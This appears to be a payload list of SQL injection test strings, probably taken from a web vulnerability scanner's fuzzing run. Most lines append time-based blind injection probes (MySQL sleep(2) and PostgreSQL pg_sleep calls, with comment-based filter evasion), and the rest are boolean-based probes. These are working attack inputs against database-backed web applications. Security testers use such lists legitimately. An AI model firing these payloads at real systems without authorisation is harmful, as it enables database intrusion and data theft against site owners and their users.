123456
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
123456
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
(select*from(select+sleep(0)union/**/select+1)a)
(select*from(select+sleep(2)union/**/select+1)a)
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
123456'and'l'='y
123456"and"e"="e